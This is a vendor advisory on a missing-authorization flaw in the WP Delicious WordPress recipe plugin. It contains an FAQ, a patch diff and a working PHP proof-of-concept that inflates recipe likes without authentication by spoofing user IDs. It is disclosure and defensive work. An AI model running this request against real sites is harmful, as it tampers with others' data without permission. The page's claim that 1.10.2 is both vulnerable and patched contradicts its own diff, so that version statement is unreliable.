What is CVE-2026-14305?

CVE-2026-14305 is a missing authorization vulnerability in the WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) for WordPress. It allows unauthenticated attackers to manipulate like counts on recipe posts by exploiting a lack of nonce verification and spoofable user identifiers in the AJAX like handler.

How does the vulnerability work?

The AJAX handler function `recipe_like_cb()` processes like and unlike requests without a nonce check. For logged-out users, it relies on a client-supplied `unique_user_id` parameter to identify the user. An attacker can send crafted POST requests to `admin-ajax.php` with arbitrary `unique_user_id` values, bypassing the per-user vote limit and inflating like counts.

Who is affected by this vulnerability?

All WordPress sites running WP Delicious – Recipe Plugin for Food Bloggers versions up to and including 1.10.2 are affected. The patched version is 1.10.2, so if you are using an earlier version, you are vulnerable.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin under Plugins. If the version is 1.10.2 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the code with the patched version to confirm.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 5.3, which is rated as Medium severity. This means it has moderate impact and is relatively easy to exploit, but it does not directly lead to data exposure or privilege escalation.

How does the proof of concept (PoC) demonstrate the issue?

The provided PHP PoC sends a POST request to `admin-ajax.php` with the action `delicious_recipes_like`, a target recipe ID, and a randomly generated `unique_user_id`. By repeating this with different IDs, it shows how an unauthenticated attacker can add likes without any authentication or nonce.

What is the root cause of the vulnerability?

The root cause is the lack of a nonce check in the AJAX handler and the use of client-supplied identity data. The `unique_user_id` parameter is not validated server-side, allowing attackers to spoof identities. Additionally, the `can_like()` function does not verify IP-based identity for logged-out users.

How is the vulnerability patched?

The patch adds a nonce check using `check_ajax_referer()` in the AJAX handler, generates a server-side nonce for the frontend, and replaces the client-supplied `unique_user_id` with a server-generated identifier based on the user ID or a salted hash of the IP address. It also adds a post type check to ensure the target is a recipe.

What should I do to fix the vulnerability?

Update the WP Delicious – Recipe Plugin for Food Bloggers to version 1.10.2 or later. If you cannot update immediately, consider disabling the like functionality or using a web application firewall to block suspicious AJAX requests.

Can this vulnerability be exploited without authentication?

Yes, the vulnerability can be exploited by unauthenticated attackers. The AJAX handler does not require a valid user session, and the missing nonce check allows requests from anyone. This makes the attack trivial to execute.

Are there any other security implications?

While the primary impact is like count manipulation, the broken access control pattern could be a sign of other similar issues. It is recommended to review the plugin’s code for other AJAX handlers that may lack proper authorization checks.

Published : August 7, 2026

CVE-2026-14305: WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) < 1.10.2 Missing Authorization PoC, Patch Analysis & Rule

Q: What is the practical impact of this vulnerability?

An attacker can artificially inflate like counts on any recipe post, distorting social proof and potentially affecting content rankings. While the direct impact is limited to metadata manipulation, it undermines the integrity of the site’s content and could be used for other malicious purposes.

CVE ID CVE-2026-14305

Plugin delicious-recipes

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.10.2

Patched Version 1.10.2

Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14305:
WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) versions up to 1.10.2 contain a broken access control vulnerability. The plugin’s like and wishlist functionality allows unauthenticated attackers to submit likes and modify like counts for recipe posts without proper authorization. This results from a missing nonce check on an AJAX action handler and the use of client-supplied, spoofable identity data. The vulnerability has a CVSS score of 5.3, indicating a medium severity issue.

Root Cause:
The root cause lies in the AJAX handler function `recipe_like_cb()` located in `delicious-recipes/src/classes/class-delicious-recipes-likes-wishlists.php`. This handler, which processes like and unlike requests, lacked a nonce verification (`check_ajax_referer`) in the vulnerable version. Furthermore, the identity of logged-out users was derived from a `unique_user_id` parameter sent from the client via POST. An attacker could supply an arbitrary value for this parameter, enabling them to repeatedly add likes under different fake identities. The `can_like()` function also lacked server-side IP-based identity verification for logged-out users, relying entirely on the client-provided identifier. This created a path for unauthorized actions, allowing an attacker to manipulate like counters and bypass the intended per-user vote limit.

Exploitation:
An unauthenticated attacker targets the WordPress admin-ajax endpoint. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the plugin’s like handler, `delicious_recipes_like`. The request includes the target `id` (post ID), an `add_remove` value of ‘add’ to increment the like count, and a crafted `unique_user_id` parameter. By cycling through different `unique_user_id` values, the attacker can bypass the per-user like check and artificially inflate the like count for any recipe post. The absence of a nonce check means the attacker can do this without authentication or any valid user session. The attacker does not need to be logged in, making this a trivial attack to execute.

Patch Analysis:
The patch introduces several hardening measures. First, `recipe_like_cb()` now calls `check_ajax_referer( ‘delicious_recipes_like_nonce’, ‘nonce’ )` at the beginning of the function to verify the request’s authenticity. A nonce (`like_nonce`) is now generated server-side and passed to the frontend via the `wp_localize_script` call in `src/DeliciousPublic.php`. Second, the patch removes the reliance on the client-supplied `unique_user_id`. It introduces a new `get_like_identifier()` method in `class-delicious-recipes-likes-wishlists.php`. This method returns the current user ID for logged-in users and a salted hash of the user’s remote IP address (`md5( $ip . wp_salt() )`) for logged-out visitors. This server-side identifier cannot be forged or inadvertently cycled by the client. Finally, the patch adds a post type check to ensure the `id` parameter points to a recipe post, preventing arbitrary post meta modification.

Impact:
Successful exploitation allows an unauthenticated attacker to manipulate the like counts on any recipe post. This can result in inaccurate social proof and distorted content rankings. While the direct impact is limited to the integrity of like metadata, it demonstrates a broken access control pattern. An attacker could also use this to track active post IDs by observing response timings, though the primary impact is the unauthorized modification of plugin data. This does not directly lead to data exposure or privilege escalation, but it undermines the integrity of the site’s content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/delicious-recipes/assets/build/Components.asset.php
+++ b/delicious-recipes/assets/build/Components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '87e13b8e186687e12cb3');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '58fbc8248276ac1edce2');
--- a/delicious-recipes/assets/build/blocks.asset.php
+++ b/delicious-recipes/assets/build/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => '33cb150de9d44ff13b30');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'ced9787ddc65cb429eb1');
--- a/delicious-recipes/assets/build/global.asset.php
+++ b/delicious-recipes/assets/build/global.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'f9daabfbad6c7f3cc8cf');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '8481d27093104153007e');
--- a/delicious-recipes/assets/build/import.asset.php
+++ b/delicious-recipes/assets/build/import.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '903562126102290f2397');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'cbd2c7cbb56019b72954');
--- a/delicious-recipes/assets/build/infiniteScroll.asset.php
+++ b/delicious-recipes/assets/build/infiniteScroll.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '11c51ab2edf43c97027a');
+<?php return array('dependencies' => array(), 'version' => '08216f0cdd07916112cd');
--- a/delicious-recipes/assets/build/onboard.asset.php
+++ b/delicious-recipes/assets/build/onboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '549944a8fb815cd42f0f');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'c86e436b511cb4dbe946');
--- a/delicious-recipes/assets/build/promotionButtonsJS.asset.php
+++ b/delicious-recipes/assets/build/promotionButtonsJS.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '0d6e0d78388369137428');
+<?php return array('dependencies' => array('react', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => 'cd63692faa0ad7a30661');
--- a/delicious-recipes/assets/build/recipe.asset.php
+++ b/delicious-recipes/assets/build/recipe.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '512e6b3b3937a7504d7c');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '33b50c3ff38030a7fdd8');
--- a/delicious-recipes/assets/build/singleRecipe.asset.php
+++ b/delicious-recipes/assets/build/singleRecipe.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => 'b8582902ac39d61f98aa');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '37f3bdb8ae23c2d08868');
--- a/delicious-recipes/assets/build/wpdArchiveJS.asset.php
+++ b/delicious-recipes/assets/build/wpdArchiveJS.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '5cffea458ca2ab71a944');
+<?php return array('dependencies' => array(), 'version' => '58d640f4f5659e728a99');
--- a/delicious-recipes/assets/build/wpdPublic.asset.php
+++ b/delicious-recipes/assets/build/wpdPublic.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '60d96e9d0ed80091c75c');
+<?php return array('dependencies' => array(), 'version' => '6b1fa57fb12108a62aa4');
--- a/delicious-recipes/delicious-recipes.php
+++ b/delicious-recipes/delicious-recipes.php
@@ -9,7 +9,7 @@
  * License URI:         https://www.gnu.org/licenses/gpl-3.0.html
  * Text Domain:         delicious-recipes
  * Domain Path:         /languages
- * Version:             1.10.1
+ * Version:             1.10.2
  * Requires at least:   5.8
  * Tested up to:        7.0
  * Requires PHP:        7.4
@@ -79,7 +79,7 @@
 }

 if ( ! defined( 'DELICIOUS_RECIPES_VERSION' ) ) {
-	define( 'DELICIOUS_RECIPES_VERSION', '1.10.1' );
+	define( 'DELICIOUS_RECIPES_VERSION', '1.10.2' );
 }

 /**
--- a/delicious-recipes/src/DeliciousPublic.php
+++ b/delicious-recipes/src/DeliciousPublic.php
@@ -401,6 +401,7 @@
 			'proEnabled'           => function_exists( 'DEL_RECIPE_PRO' ),
 			'license_validity'     => $license_validity,
 			'isUserLoggedIn'       => is_user_logged_in(),
+			'like_nonce'           => wp_create_nonce( 'delicious_recipes_like_nonce' ),
 		);

 		wp_register_script(
--- a/delicious-recipes/src/classes/class-delicious-recipes-likes-wishlists.php
+++ b/delicious-recipes/src/classes/class-delicious-recipes-likes-wishlists.php
@@ -49,6 +49,26 @@
 	}

 	/**
+	 * Get the server-side identifier used to track a "like" for the current visitor.
+	 *
+	 * Logged-in users are tracked by user ID. Logged-out visitors are tracked by a
+	 * salted hash of their real IP address (REMOTE_ADDR only — forwarded headers are
+	 * spoofable) so the identity cannot be forged or cycled by the client to inflate
+	 * the like counter or grow the stored meta without bound.
+	 *
+	 * @return int|string
+	 */
+	public function get_like_identifier() {
+		if ( is_user_logged_in() ) {
+			return get_current_user_id();
+		}
+
+		$ip = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '';
+
+		return 'ip_' . md5( $ip . wp_salt() );
+	}
+
+	/**
 	 * Check if user can like the recipes post
 	 *
 	 * @param integer $id Post ID.
@@ -60,24 +80,12 @@
 			return false;
 		}

-		// if user is logged in, return true.
-		if ( is_user_logged_in() ) {
-			$recipe_likes_ip = get_post_meta( $id, '_recipe_likes_ip', true );
-			$curr_user_id    = get_current_user_id();
-			if ( ! empty( $recipe_likes_ip ) && in_array( $curr_user_id, $recipe_likes_ip ) ) {
-				return false;
-			}
+		$recipe_likes_ip = get_post_meta( $id, '_recipe_likes_ip', true );
+		if ( ! empty( $recipe_likes_ip ) && is_array( $recipe_likes_ip ) && in_array( $this->get_like_identifier(), $recipe_likes_ip, true ) ) {
+			return false;
 		}

-		return true; // Default case
-
-		/**
-		 * @deprecated code @since 1.8.0 since we changed checking likes from IP Address to Unique User ID we created and assigned for not logged in users.
-		 */
-		// $ip_list = ( $ip = get_post_meta( $id, '_recipe_likes_ip', true ) ) ? $ip : array();
-		// if ( ( $ip_list == '' ) || ( is_array( $ip_list ) && ! in_array( $this->get_real_ip_address(), $ip_list ) ) ) {
-		// return true;
-		// }
+		return true; // Default case.
 	}

 	/**
@@ -86,15 +94,9 @@
 	 * @return void
 	 */
 	public function check_like() {
-		if ( isset( $_POST['id'] ) && isset( $_POST['unique_user_id'] ) ) :
-			$post_id        = intval( $_POST['id'] );
-			$ip_list        = ( $ip = get_post_meta( $post_id, '_recipe_likes_ip', true ) ) ? $ip : array();
-			$unique_user_id = sanitize_text_field( wp_unslash( $_POST['unique_user_id'] ) );
-			if ( ( $ip_list == '' ) || ( is_array( $ip_list ) && ! in_array( $unique_user_id, $ip_list ) ) ) :
-				wp_send_json_success( array( 'can_like' => true ) );
-			else :
-				wp_send_json_success( array( 'can_like' => false ) );
-			endif;
+		if ( isset( $_POST['id'] ) ) :
+			$post_id = intval( $_POST['id'] );
+			wp_send_json_success( array( 'can_like' => $this->can_like( $post_id ) ) );
 		else :
 			wp_send_json_error();
 		endif;
@@ -130,59 +132,45 @@
 	 * @return void
 	 */
 	public function recipe_like_cb() {
+		// Verify the request originated from our frontend.
+		check_ajax_referer( 'delicious_recipes_like_nonce', 'nonce' );
+
 		if ( isset( $_POST['id'] ) && isset( $_POST['add_remove'] ) ) :

 			$post_id = intval( $_POST['id'] );
+
+			// Only allow liking actual recipe posts, never arbitrary post IDs.
+			if ( DELICIOUS_RECIPE_POST_TYPE !== get_post_type( $post_id ) ) :
+				wp_send_json_error( array( 'message' => 'Invalid recipe.' ) );
+			endif;
+
 			$likes   = ( $count = get_post_meta( $post_id, '_recipe_likes', true ) ) ? absint( $count ) : 0;
 			$ip_list = ( $ip = get_post_meta( $post_id, '_recipe_likes_ip', true ) ) ? $ip : array();
+			if ( ! is_array( $ip_list ) ) :
+				$ip_list = array();
+			endif;

 			$add_remove = sanitize_title( wp_unslash( $_POST['add_remove'] ) );

-			// Check if the user is logged in and get the user ID
-			$current_user_id = is_user_logged_in() ? get_current_user_id() : null;
+			// Identity is derived server-side; never trust a client-supplied identifier.
+			$identifier = $this->get_like_identifier();

 			if ( $add_remove === 'add' && $this->can_like( $post_id ) ) :
-				// Add the user ID if logged in, or the unique user ID if not logged in
-				if ( $current_user_id ) {
-					$ip_list[] = $current_user_id;
-				} elseif ( isset( $_POST['unique_user_id'] ) ) {
-						$unique_user_id = sanitize_text_field( wp_unslash( $_POST['unique_user_id'] ) );
-						$ip_list[]      = $unique_user_id;
-				}
+				$ip_list[] = $identifier;
 				++$likes;
 				update_post_meta( $post_id, '_recipe_likes', absint( $likes ) );
 				update_post_meta( $post_id, '_recipe_likes_ip', $ip_list );

 			elseif ( $add_remove === 'remove' ) :
-				// Remove the user ID from the list if logged in
-				if ( $current_user_id ) :
-					$key = array_search( $current_user_id, $ip_list );
-					if ( $key !== false ) :
-						--$likes;
-						if ( $likes <= 0 ) :
-							$likes = 0;
-						endif;
-						unset( $ip_list[ $key ] );
-						update_post_meta( $post_id, '_recipe_likes', absint( $likes ) );
-						update_post_meta( $post_id, '_recipe_likes_ip', $ip_list );
-					endif;
-				else :
-					// Remove the unique user ID from the list if not logged in
-					if ( isset( $_POST['unique_user_id'] ) ) :
-						$unique_user_id = sanitize_text_field( wp_unslash( $_POST['unique_user_id'] ) );
-						$key            = array_search( $unique_user_id, $ip_list );
-						if ( $key !== false ) :
-							--$likes;
-							if ( $likes <= 0 ) :
-								$likes = 0;
-							endif;
-							unset( $ip_list[ $key ] );
-							update_post_meta( $post_id, '_recipe_likes', absint( $likes ) );
-							update_post_meta( $post_id, '_recipe_likes_ip', $ip_list );
-						endif;
-					else :
-						wp_send_json_error( array( 'message' => 'Invalid request.' ) );
+				$key = array_search( $identifier, $ip_list, true );
+				if ( $key !== false ) :
+					--$likes;
+					if ( $likes <= 0 ) :
+						$likes = 0;
 					endif;
+					unset( $ip_list[ $key ] );
+					update_post_meta( $post_id, '_recipe_likes', absint( $likes ) );
+					update_post_meta( $post_id, '_recipe_likes_ip', $ip_list );
 				endif;

 			else :
--- a/delicious-recipes/vendor/composer/installed.php
+++ b/delicious-recipes/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'xqluz/delicious-recipes',
-        'pretty_version' => 'v1.10.1',
-        'version' => '1.10.1.0',
-        'reference' => 'c8aeafca846f369c4d9ebec28405431be99d428f',
+        'pretty_version' => 'v1.10.2',
+        'version' => '1.10.2.0',
+        'reference' => '13fa0985e2c36f2f408c0adce7f8fd68dd59ce9d',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'xqluz/delicious-recipes' => array(
-            'pretty_version' => 'v1.10.1',
-            'version' => '1.10.1.0',
-            'reference' => 'c8aeafca846f369c4d9ebec28405431be99d428f',
+            'pretty_version' => 'v1.10.2',
+            'version' => '1.10.2.0',
+            'reference' => '13fa0985e2c36f2f408c0adce7f8fd68dd59ce9d',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14305 - WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) < 1.10.2 - Missing Authorization

/*
 * Proof of concept for CVE-2026-14305.
 * This script demonstrates how an unauthenticated attacker can add arbitrary likes
 * to a recipe post by cycling through fabricated unique_user_id values.
 * The AJAX handler lacks a nonce check, allowing this request to succeed.
 */

$target_url = 'http://example.com';
$recipe_id = 1; // The ID of the recipe to like

$ch = curl_init();

$payload = [
    'action' => 'delicious_recipes_like',
    'id' => $recipe_id,
    'add_remove' => 'add',
    'unique_user_id' => 'fake_user_' . rand( 1000, 9999 ) // Arbitrary, spoofable ID
];

$options = [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query( $payload ),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
];

curl_setopt_array( $ch, $options );

$response = curl_exec( $ch );
if ( curl_errno( $ch ) ) {
    echo 'cURL error: ' . curl_error( $ch ) . "n";
    curl_close( $ch );
    exit( 1 );
}
$http_code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
curl_close( $ch );

if ( $http_code === 200 ) {
    echo "[+] Successfully sent like request for recipe ID {$recipe_id}.n";
} else {
    echo "[-] Request failed. HTTP Code: {$http_code}n";
    echo "[-] Response: {$response}n";
}

// To demonstrate inflation, run this script multiple times with different unique_user_id values.
?>

Frequently Asked Questions

What is CVE-2026-14305?
Vulnerability overview
CVE-2026-14305 is a missing authorization vulnerability in the WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) for WordPress. It allows unauthenticated attackers to manipulate like counts on recipe posts by exploiting a lack of nonce verification and spoofable user identifiers in the AJAX like handler.
How does the vulnerability work?
Technical explanation
The AJAX handler function `recipe_like_cb()` processes like and unlike requests without a nonce check. For logged-out users, it relies on a client-supplied `unique_user_id` parameter to identify the user. An attacker can send crafted POST requests to `admin-ajax.php` with arbitrary `unique_user_id` values, bypassing the per-user vote limit and inflating like counts.
Who is affected by this vulnerability?
Affected versions
All WordPress sites running WP Delicious – Recipe Plugin for Food Bloggers versions up to and including 1.10.2 are affected. The patched version is 1.10.2, so if you are using an earlier version, you are vulnerable.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin under Plugins. If the version is 1.10.2 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the code with the patched version to confirm.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 5.3, which is rated as Medium severity. This means it has moderate impact and is relatively easy to exploit, but it does not directly lead to data exposure or privilege escalation.
What is the practical impact of this vulnerability?
Real-world consequences
An attacker can artificially inflate like counts on any recipe post, distorting social proof and potentially affecting content rankings. While the direct impact is limited to metadata manipulation, it undermines the integrity of the site’s content and could be used for other malicious purposes.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanation
The provided PHP PoC sends a POST request to `admin-ajax.php` with the action `delicious_recipes_like`, a target recipe ID, and a randomly generated `unique_user_id`. By repeating this with different IDs, it shows how an unauthenticated attacker can add likes without any authentication or nonce.
What is the root cause of the vulnerability?
Underlying issue
The root cause is the lack of a nonce check in the AJAX handler and the use of client-supplied identity data. The `unique_user_id` parameter is not validated server-side, allowing attackers to spoof identities. Additionally, the `can_like()` function does not verify IP-based identity for logged-out users.
How is the vulnerability patched?
Patch details
The patch adds a nonce check using `check_ajax_referer()` in the AJAX handler, generates a server-side nonce for the frontend, and replaces the client-supplied `unique_user_id` with a server-generated identifier based on the user ID or a salted hash of the IP address. It also adds a post type check to ensure the target is a recipe.
What should I do to fix the vulnerability?
Immediate actions
Update the WP Delicious – Recipe Plugin for Food Bloggers to version 1.10.2 or later. If you cannot update immediately, consider disabling the like functionality or using a web application firewall to block suspicious AJAX requests.
Can this vulnerability be exploited without authentication?
Authentication requirement
Yes, the vulnerability can be exploited by unauthenticated attackers. The AJAX handler does not require a valid user session, and the missing nonce check allows requests from anyone. This makes the attack trivial to execute.
Are there any other security implications?
Additional risks
While the primary impact is like count manipulation, the broken access control pattern could be a sign of other similar issues. It is recommended to review the plugin’s code for other AJAX handlers that may lack proper authorization checks.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started